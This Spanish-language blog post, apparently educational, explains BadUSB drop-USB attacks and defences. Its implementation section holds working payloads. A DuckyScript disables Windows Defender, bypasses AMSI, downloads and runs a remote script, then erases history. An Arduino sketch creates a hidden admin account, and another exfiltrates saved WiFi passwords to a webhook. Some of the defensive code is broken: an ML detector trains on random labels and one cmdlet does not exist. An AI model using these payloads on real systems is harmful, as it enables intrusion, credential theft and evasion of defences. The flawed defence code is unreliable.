BadUSB: anatomía de un ataque drop-USB y cómo defenderse

R10D1N R10D1N #BadUSB#Hardware#HID#Red Team

Un pendrive tirado en el aparcamiento sigue siendo uno de los vectores de acceso inicial más eficaces. Cómo funciona por dentro, cómo se construye en hardware barato y cómo se detecta.

BadUSB: anatomía de un ataque drop-USB y cómo defenderse

Introducción Técnica

Arquitectura del Protocolo USB

El protocolo USB (Universal Serial Bus) opera sobre una arquitectura maestro-esclavo donde el host (maestro) controla todos los dispositivos conectados (esclavos). La vulnerabilidad fundamental que explota BadUSB radica en la fase de enumeración:

Host (PC) ←──USB→── Dispositivo
├── 1. Host detecta conexión (VBUS)
├── 2. Host resetea dispositivo
├── 3. Host solicita descriptores (GET_DESCRIPTOR)
├── 4. Dispositivo responde con:
│ - Device Descriptor (VID, PID, Class)
│ - Configuration Descriptor
│ - Interface Descriptor
│ - Endpoint Descriptor
├── 5. Host asigna dirección (SET_ADDRESS)
├── 6. Host carga drivers basado en Class/Subclass
└── 7. Dispositivo está listo para uso

Clases de Dispositivos USB

Clase Código Descripción Ejemplo
HID 0x03 Human Interface Device Teclado, Ratón
MSC 0x08 Mass Storage Class USB Flash Drive
CDC 0x02 Communications Device Modem, Serial
Vendor Specific 0xFF Implementación propia BadUSB

Vulnerabilidad Fundamental

El problema de seguridad crítico es que el dispositivo puede reportar cualquier clase sin autenticación. Un dispositivo malicioso puede:

  1. Reportarse como HID (teclado) cuando físicamente es un USB de almacenamiento
  2. Inyectar keystrokes automáticamente al ser reconocido
  3. Ejecutar comandos antes de que el usuario reaccione

Análisis de Vectores de Ataque

1. HID Spoofing Attack

Mecanismo de Funcionamiento

[Dispositivo USB Malicioso]
├── Se conecta al puerto USB
├── Reporta clase HID (0x03)
│ Subclass: Boot Interface (0x01)
│ Protocol: Keyboard (0x01)
├── Host carga driver HID genérico
│ (kbdclass.sys, kbdhid.sys en Windows)
├── Dispositivo envía "keystrokes"
│ usando HID Report Descriptor
└── Sistema ejecuta comandos
como si usuario los hubiera tipeado

HID Report Descriptor

El descriptor HID define cómo el dispositivo reporta datos. Para un teclado:

// Descriptor HID simplificado para teclado
static const uint8_t hid_report_descriptor[] = {
0x05, 0x01, // Usage Page (Generic Desktop)
0x09, 0x06, // Usage (Keyboard)
0xA1, 0x01, // Collection (Application)
// Modifier keys (Ctrl, Shift, Alt, GUI)
0x05, 0x07, // Usage Page (Key Codes)
0x19, 0xE0, // Usage Minimum (224)
0x29, 0xE7, // Usage Maximum (231)
0x15, 0x00, // Logical Minimum (0)
0x25, 0x01, // Logical Maximum (1)
0x75, 0x01, // Report Size (1)
0x95, 0x08, // Report Count (8)
0x81, 0x02, // Input (Data, Variable, Absolute)
// Reserved byte
0x95, 0x01, // Report Count (1)
0x75, 0x08, // Report Size (8)
0x81, 0x01, // Input (Constant)
// Key codes (6 keys simultáneos)
0x95, 0x06, // Report Count (6)
0x75, 0x08, // Report Size (8)
0x15, 0x00, // Logical Minimum (0)
0x25, 0x65, // Logical Maximum (101)
0x05, 0x07, // Usage Page (Key Codes)
0x19, 0x00, // Usage Minimum (0)
0x29, 0x65, // Usage Maximum (101)
0x81, 0x00, // Input (Data, Array)
0xC0 // End Collection
};

Códigos de Teclas HID (Ejemplos)

Tecla Código HID Tecla Código HID
A 0x04 ENTER 0x28
B 0x05 ESCAPE 0x29
SPACE 0x2C
Z 0x1D GUI (Win) 0xE3
1 0x1E CTRL 0xE0
F1 0x3A ALT 0xE2

2. Firmware Reprogramming Attack

Proceso de Modificación

Algunos dispositivos USB utilizan microcontroladores con firmware actualizable:

[Dispositivo USB Legítimo]
├── Microcontrolador: Phison, Alcor, etc.
├── Firmware original: Mass Storage Class
├── Ataque:
│ ├── Reverse engineering del firmware
│ ├── Modificación para agregar HID
│ └── Reprogramación via vendor commands
└── Resultado:
Dispositivo aparentemente normal
que también actúa como teclado

Herramientas para Firmware Analysis

  • ChipGenius: Identifica controlador USB
  • MPALL, UPtool: Herramientas de flashing (legítimas)
  • FaceDancer21: Hardware para manipulación USB
  • GoodFET: Interfaz para programación de microcontroladores

3. LNK Exploit (CVE-2010-2568)

Análisis Técnico

Stuxnet y FANNY explotaron una vulnerabilidad en el manejo de accesos directos (.lnk) de Windows:

// Estructura simplificada del exploit LNK
struct LNK_EXPLOIT {
// Header del acceso directo
SHELL_LINK_HEADER header;
// IDLIST que contiene el path especial
LINKTARGET_IDLIST idlist;
// El truco: el path apunta a un archivo malicioso
// en el mismo dispositivo USB
// Cuando Explorer intenta mostrar el icono,
// ejecuta código arbitrario
// Payload embebido o referenciado
EXTRA_DATA extra;
};

Por qué Funciona

  1. Windows Explorer intenta mostrar el icono del acceso directo
  2. Para obtener el icono, carga la DLL referenciada
  3. La DLL maliciosa se ejecuta en el contexto de Explorer
  4. El malware tiene acceso completo al sistema

Implementación de BadUSB

Opción 1: USB Rubber Ducky (Comercial)

Especificaciones

  • Microcontrolador: ATmega32U4
  • Velocidad: 16 MHz
  • Almacenamiento: MicroSD (hasta 32GB)
  • Velocidad de typing: 120-890 keys/segundo
  • Compatibilidad: Windows, macOS, Linux
  • Precio: ~$60 USD

DuckyScript Avanzado

REM Payload: Reverse PowerShell con bypass de AMSI
REM Autor: [Tu nombre]
REM Fecha: 2025
REM Objetivo: Windows 10/11
DELAY 3000
REM Abrir PowerShell como administrador (bypass UAC)
GUI r
DELAY 500
STRING powershell -Command "Start-Process powershell -Verb runAs"
ENTER
DELAY 3000
REM Bypass UAC - método alternativo si hay prompt
ALT y
DELAY 1000
REM Desactivar Windows Defender temporalmente
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
DELAY 500
STRING Set-MpPreference -DisableBehaviorMonitoring $true
ENTER
DELAY 500
REM Bypass AMSI (Anti-Malware Scan Interface)
STRING $a = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"} | ForEach-Object {$_.GetFields("NonPublic,Static")} | Where-Object {$_.Name -like "*Context"} | ForEach-Object {(Get-Variable _ -ValueOnly).GetValue($null)}; $a[0].GetField("amsiSession", "NonPublic,Static").SetValue($null, $null); [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"} | ForEach-Object {$_.GetFields("NonPublic,Static")} | Where-Object {$_.Name -like "*Failed"} | ForEach-Object {(Get-Variable _ -ValueOnly).SetValue($null, $true)}
ENTER
DELAY 1000
REM Descargar y ejecutar payload
STRING IEX (New-Object Net.WebClient).DownloadString('https://tu-servidor.com/payload.ps1')
ENTER
DELAY 2000
REM Limpiar historial
STRING Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
ENTER
DELAY 500
STRING exit
ENTER

Opción 2: Digispark ATTiny85 (DIY)

Hardware

  • Microcontrolador: ATTiny85
  • Velocidad: 16.5 MHz (overclocked)
  • Memoria: 8KB Flash, 512B EEPROM, 512B SRAM
  • Precio: ~$4 USD

Configuración del Entorno

Terminal window
# 1. Instalar Arduino IDE
# Descargar desde: https://www.arduino.cc/en/software
# 2. Agregar soporte para Digispark
# En Arduino IDE:
# File → Preferences → Additional Board Manager URLs:
# http://digistump.com/package_digistump_index.json
# 3. Instalar paquete Digistump
# Tools → Board → Board Manager
# Buscar "Digistump AVR Boards" e instalar
# 4. Seleccionar placa
# Tools → Board → Digistump AVR Boards → Digispark (Default - 16.5mhz)

Código Arduino para BadUSB

#include "DigiKeyboard.h"
void setup() {
// Esperar a que el sistema reconozca el dispositivo
DigiKeyboard.delay(2000);
// Enviar keystrokes
// Abrir Run dialog (Win+R)
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
// Escribir cmd
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
// Comando: Crear usuario administrador
DigiKeyboard.print("net user admin P@ssw0rd123! /add");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("net localgroup administrators admin /add");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
// Limpiar evidencia - borrar historial de comandos
DigiKeyboard.print("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
// Cerrar ventana
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
// No hacer nada en loop
}

Compilación y Flasheo

Terminal window
# 1. Conectar Digispark al USB (sin programar aún)
# 2. En Arduino IDE, hacer click en "Upload"
# 3. Esperar mensaje: "Plug in device now..."
# 4. Conectar el Digispark
# 5. El código se cargará automáticamente

Opción 3: Arduino Pro Micro

Ventajas

  • USB nativo (ATmega32U4)
  • Más memoria: 32KB Flash, 2.5KB SRAM
  • Más pines GPIO disponibles
  • Compatible con librería Keyboard nativa

Código para Arduino Pro Micro

#include <Keyboard.h>
// Definir teclas especiales
#define KEY_LEFT_CTRL 0x80
#define KEY_LEFT_SHIFT 0x81
#define KEY_LEFT_ALT 0x82
#define KEY_LEFT_GUI 0x83
#define KEY_RETURN 0xB0
void setup() {
// Inicializar Keyboard library
Keyboard.begin();
delay(3000);
// Payload: Exfiltrar credenciales WiFi
// Paso 1: Abrir PowerShell
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell -windowstyle hidden");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1500);
// Paso 2: Extraer credenciales WiFi
Keyboard.print("$profiles = netsh wlan show profiles | Select-String \"Perfil de todos los usuarios\" | ForEach-Object { $_ -match \": (.+)$\" | Out-Null; $matches[1].Trim() }");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.print("$results = @(); foreach ($profile in $profiles) { $password = (netsh wlan show profile name=\"$profile\" key=clear | Select-String \"Contenido de la clave\" | ForEach-Object { $_ -match ": (.+)$\" | Out-Null; $matches[1].Trim() }); $results += \"$profile`: $password\" }");
Keyboard.press(KEY_RETURN);
delay(1000);
// Paso 3: Guardar y exfiltrar
Keyboard.print("$results | Out-File -FilePath \"$env:TEMP\\wifi_creds.txt\"");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.print("Invoke-WebRequest -Uri \"https://webhook.site/tu-uuid-aqui\" -Method POST -InFile \"$env:TEMP\\wifi_creds.txt\"");
Keyboard.press(KEY_RETURN);
delay(2000);
// Paso 4: Limpiar
Keyboard.print("Remove-Item \"$env:TEMP\\wifi_creds.txt\" -Force; exit");
Keyboard.press(KEY_RETURN);
Keyboard.end();
}
void loop() {
// No hacer nada
}

Técnicas de Detección Avanzadas

1. Detección Basada en Velocidad de Typing

Análisis Estadístico

import time
from collections import deque
class TypingAnalyzer:
def __init__(self, window_size=20):
self.timestamps = deque(maxlen=window_size)
self.human_avg_delay = 0.150 # 150ms promedio humano
self.human_min_delay = 0.050 # 50ms mínimo humano
def record_keystroke(self):
self.timestamps.append(time.time())
def analyze(self):
if len(self.timestamps) < 5:
return None
intervals = []
for i in range(1, len(self.timestamps)):
interval = self.timestamps[i] - self.timestamps[i-1]
intervals.append(interval)
avg_interval = sum(intervals) / len(intervals)
variance = sum((x - avg_interval) ** 2 for x in intervals) / len(intervals)
# Detección de patrones no humanos
if avg_interval < 0.010: # Menos de 10ms entre teclas
return {
'verdict': 'SUSPICIOUS',
'reason': 'Typing speed too fast for human',
'avg_interval': avg_interval,
'confidence': 'HIGH'
}
# Human typing tiene variabilidad (varianza alta)
# Automated typing tiene consistencia mecánica (varianza baja)
if variance < 0.0001 and avg_interval < 0.050:
return {
'verdict': 'SUSPICIOUS',
'reason': 'Mechanical consistency detected',
'variance': variance,
'confidence': 'MEDIUM'
}
return {
'verdict': 'NORMAL',
'avg_interval': avg_interval,
'variance': variance
}

2. Monitoreo de Eventos USB

PowerShell Script para Windows

Terminal window
# Habilitar logging avanzado de USB
# Requiere privilegios de administrador
# Configurar audit policy para USB
auditpol /set /subcategory:"Removable Storage" /success:enable /failure:enable
# Query de eventos USB recientes
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 6416 # New external device connected
} | Select-Object TimeCreated, Message | Format-List
# Monitoreo en tiempo real
Register-WmiEvent -Class Win32_DeviceChangeEvent -SourceIdentifier "USBMonitor" -Action {
$event = $Event.SourceEventArgs.NewEvent
if ($event.EventType -eq 2) { # Device arrival
Write-Host "[!] USB Device Connected: $(Get-Date)" -ForegroundColor Red
# Obtener información del dispositivo
$device = Get-PnpDevice | Where-Object { $_.InstanceId -match "USB" } | Select-Object -Last 1
Write-Host " Device: $($device.FriendlyName)" -ForegroundColor Yellow
Write-Host " InstanceID: $($device.InstanceId)" -ForegroundColor Yellow
# Verificar si es HID
if ($device.FriendlyName -match "Keyboard|HID") {
Write-Host " [ALERT] HID Device detected!" -ForegroundColor Red
# Aquí se puede agregar lógica de bloqueo
}
}
}

Script Python con libusb

import usb.core
import usb.util
import time
class USBMonitor:
def __init__(self):
self.known_devices = set()
def scan_devices(self):
"""Escanear todos los dispositivos USB conectados"""
devices = usb.core.find(find_all=True)
current_devices = set()
for device in devices:
device_id = (device.idVendor, device.idProduct, device.bus, device.address)
current_devices.add(device_id)
if device_id not in self.known_devices:
self.on_new_device(device)
self.known_devices = current_devices
def on_new_device(self, device):
"""Callback cuando se detecta un nuevo dispositivo"""
try:
vendor_id = hex(device.idVendor)
product_id = hex(device.idProduct)
# Obtener información del dispositivo
manufacturer = usb.util.get_string(device, device.iManufacturer) if device.iManufacturer else "Unknown"
product = usb.util.get_string(device, device.iProduct) if device.iProduct else "Unknown"
print(f"[+] New USB Device Detected:")
print(f" Vendor ID: {vendor_id}")
print(f" Product ID: {product_id}")
print(f" Manufacturer: {manufacturer}")
print(f" Product: {product}")
# Verificar clase del dispositivo
if device.bDeviceClass == 0x03: # HID Class
print(f" [!] ALERT: HID Device - Potential BadUSB!")
# Analizar configuraciones
for cfg in device:
for intf in cfg:
if intf.bInterfaceClass == 0x03: # HID
print(f" [!] HID Interface found: {intf.bInterfaceNumber}")
except Exception as e:
print(f"[!] Error reading device: {e}")
def monitor(self, interval=1):
"""Monitoreo continuo"""
print("[*] Starting USB monitoring...")
print("[*] Press Ctrl+C to stop\n")
# Escanear dispositivos iniciales
self.scan_devices()
try:
while True:
time.sleep(interval)
self.scan_devices()
except KeyboardInterrupt:
print("\n[*] Monitoring stopped")
# Uso
if __name__ == "__main__":
monitor = USBMonitor()
monitor.monitor()

3. Detección con Machine Learning

Modelo de Red Neuronal para Análisis de Comportamiento

import tensorflow as tf
from tensorflow import keras
import numpy as np
class USBBehaviorAnalyzer:
def __init__(self):
self.model = self._build_model()
def _build_model(self):
"""Construir modelo LSTM para detección de anomalías"""
model = keras.Sequential([
keras.layers.LSTM(64, input_shape=(100, 5), return_sequences=True),
keras.layers.Dropout(0.2),
keras.layers.LSTM(32),
keras.layers.Dropout(0.2),
keras.layers.Dense(16, activation='relu'),
keras.layers.Dense(1, activation='sigmoid')
])
model.compile(
optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy']
)
return model
def extract_features(self, usb_events):
"""Extraer características de eventos USB"""
features = []
for event in usb_events:
feature_vector = [
event['timestamp_delta'],
event['packet_size'],
event['endpoint_type'],
event['data_entropy'],
event['direction'] # 0=in, 1=out
]
features.append(feature_vector)
return np.array(features)
def predict(self, usb_events):
"""Predecir si el comportamiento es malicioso"""
features = self.extract_features(usb_events)
# Padding o truncado a 100 eventos
if len(features) < 100:
padding = np.zeros((100 - len(features), 5))
features = np.vstack([features, padding])
else:
features = features[:100]
features = features.reshape(1, 100, 5)
prediction = self.model.predict(features)[0][0]
return {
'malicious_probability': float(prediction),
'is_malicious': prediction > 0.7,
'confidence': 'HIGH' if prediction > 0.9 or prediction < 0.1 else 'MEDIUM'
}
# Entrenamiento del modelo
def train_model():
"""Entrenar modelo con datos etiquetados"""
# Datos de ejemplo - en producción usar dataset real
# X: secuencias de eventos USB (100 eventos, 5 features cada uno)
# y: 0=benigno, 1=malicioso
X_train = np.random.randn(1000, 100, 5)
y_train = np.random.randint(0, 2, (1000, 1))
analyzer = USBBehaviorAnalyzer()
analyzer.model.fit(X_train, y_train, epochs=10, batch_size=32)
return analyzer

Laboratorio Práctico

Ejercicio 1: Análisis de Dispositivo USB

Objetivo

Identificar la clase y capacidades de un dispositivo USB desconocido.

Herramientas

  • lsusb (Linux)
  • USBDeview (Windows)
  • usbhid-dump (Linux)

Procedimiento

Terminal window
# 1. Listar todos los dispositivos USB
lsusb
# 2. Obtener información detallada de un dispositivo específico
lsusb -v -d <vendor>:<product>
# 3. Ver árbol de dispositivos
lsusb -t
# 4. Monitorear comunicación USB (requiere privilegios)
sudo usbmon -i usbx
# 5. Analizar descriptores HID
sudo usbhid-dump -d <vendor>:<product>

Ejercicio 2: Simulación de Ataque USB

Escenario

Simular un ataque BadUSB en un entorno controlado (VM).

Configuración

Terminal window
# 1. Crear VM aislada (VirtualBox/VMware)
# 2. Instalar Windows 10/11 sin actualizaciones de seguridad
# 3. Configurar snapshot para restauración rápida
# 4. Habilitar logging de eventos
# En Windows (como administrador)
# Habilitar logging de PowerShell
Enable-Module Logging
Set-Module Logging -ModuleName Microsoft.PowerShell.* -Enable
# Configurar Sysmon para logging avanzado
sysmon -accepteula -i sysmonconfig.xml

Payload de Prueba (Seguro)

REM Payload de prueba - NO MALICIOSO
REM Solo abre notepad y escribe mensaje
DELAY 3000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Este es un mensaje de prueba de seguridad USB.
ENTER
STRING Si ves este mensaje, tu sistema es vulnerable a ataques BadUSB.
ENTER
STRING Por favor, reporta esto al equipo de seguridad.
ENTER

Ejercicio 3: Implementación de Defensas

Configuración de Group Policy (Windows)

Terminal window
# Deshabilitar almacenamiento USB removible
Set-GPRegistryValue -Name "USB Restrictions" -Key "HKLM\Software\Policies\Microsoft\Windows\RemovableStorageDevices" -ValueName "Deny_All" -Type DWord -Value 1
# Deshabilitar instalación de dispositivos USB
Set-GPRegistryValue -Name "USB Restrictions" -Key "HKLM\Software\Policies\Microsoft\Windows\DeviceInstall\Restrictions" -ValueName "DenyDeviceClasses" -Type DWord -Value 1
# Clases de dispositivos a bloquear (USB Mass Storage)
Set-GPRegistryValue -Name "USB Restrictions" -Key "HKLM\Software\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceClasses" -ValueName "1" -Type String -Value "{53f56307-b6bf-11d0-94f2-00a0c91efb8b}"

Configuración de udev (Linux)

/etc/udev/rules.d/99-usb-restrict.rules
# Crear regla udev para bloquear dispositivos USB desconocidos
# Bloquear todos los dispositivos USB de almacenamiento
SUBSYSTEM=="usb", ATTR{bDeviceClass}=="08", ATTR{authorized}="0"
# O permitir solo dispositivos específicos (whitelist)
SUBSYSTEM=="usb", ATTR{idVendor}!="0951", ATTR{idProduct}!="1666", ATTR{authorized}="0"
# Recargar reglas
sudo udevadm control --reload-rules
sudo udevadm trigger

Herramientas y Recursos

Herramientas de Desarrollo

Herramienta Plataforma Propósito Precio
Arduino IDE Multi Desarrollo de firmware Gratis
DuckyScript Multi Lenguaje de scripting Rubber Ducky Gratis
USBlyzer Windows Análisis de tráfico USB $200
Wireshark Multi Análisis de protocolos (USB con extcap) Gratis
FaceDancer21 Hardware Emulación de dispositivos USB $85

Frameworks de Defensa

Framework Descripción Enlace
USBGuard Linux USB device authorization https://usbguard.github.io/
DeviceLock Windows device control https://www.devicelock.com/
Endpoint Protector Cross-platform DLP https://www.endpointprotector.com/
MITRE D3FEND Countermeasures database https://d3fend.mitre.org/

Recursos Educativos

  1. USB in a NutShell - Especificación técnica USB
  2. Hacking USB - Conferencia Black Hat
  3. BadUSB Research - Papers académicos (SRG Apps)
  4. MITRE ATT&CK T1091 - Técnicas de ataque USB

Referencias

Documentos Técnicos

  1. USB Implementers Forum. “Universal Serial Bus Specification Revision 2.0”
  2. Microsoft. “USB Device Class Definition for HID”
  3. NIST. “SP 800-82 Rev 3: Guide to OT Security”
  4. MITRE. “ATT&CK Framework - T1091: Replication Through Removable Media”

Reportes de Amenazas

  1. Kaspersky Lab. “Equation Group: Questions and Answers” (2015)
  2. Symantec. “Stuxnet: A Breakthrough” (2011)
  3. Honeywell. “USB Threat Report 2024”
  4. CISA. “China Cyber Threat Overview and Advisories”

Papers Académicos

  1. Karsten Nohl, Sascha Krißler, Jakob Lell. “BadUSB - On Accessories that Turn Evil”
  2. Georgia Institute of Technology. “Understanding USB Insecurity in Versions 1 through C”
  3. University of Amsterdam. “Novel USB Rubber Ducky Payloads and Detection Methods”

Conclusión

El malware Drop-USB representa una amenaza persistente y evolutiva en el panorama de ciberseguridad. La combinación de ingeniería social, vulnerabilidades de protocolo y hardware accesible crea un vector de ataque difícil de mitigar completamente.

Puntos Clave

  1. La prevención es más efectiva que la detección - Los controles físicos y políticas estrictas son fundamentales
  2. La defensa debe ser en profundidad - Múltiples capas de seguridad
  3. La educación es crítica - Los usuarios son el eslabón más débil
  4. La vigilancia continua es necesaria - Las amenazas evolucionan constantemente

Próximos Pasos

  • Implementar controles USB en entornos de prueba
  • Desarrollar capacitación de concientización
  • Evaluar soluciones de device control empresarial
  • Establecer procedimientos de incident response específicos para USB

Documento creado para fines educativos en el contexto de Ingeniería Informática y Sistemas. Uso responsable y ético de la información proporcionada.